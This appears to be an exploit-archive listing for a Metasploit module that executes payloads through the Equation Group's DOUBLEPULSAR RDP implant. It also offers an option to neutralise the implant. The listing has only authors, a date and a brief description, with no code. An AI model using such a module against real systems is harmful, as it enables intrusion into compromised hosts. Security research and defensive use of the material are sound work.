RDP DOUBLEPULSAR Remote Code Execution

RDP DOUBLEPULSAR Remote Code Execution
Posted Feb 4, 2020
Authored by Luke Jennings, Spencer McIntyre, wvu, Tom Sellers, Shadow Brokers, Equation Group | Site metasploit.com

This Metasploit module executes a Metasploit payload against the Equation Group's DOUBLEPULSAR implant for RDP. While this module primarily performs code execution against the implant, the "Neutralize implant" target allows you to disable the implant.
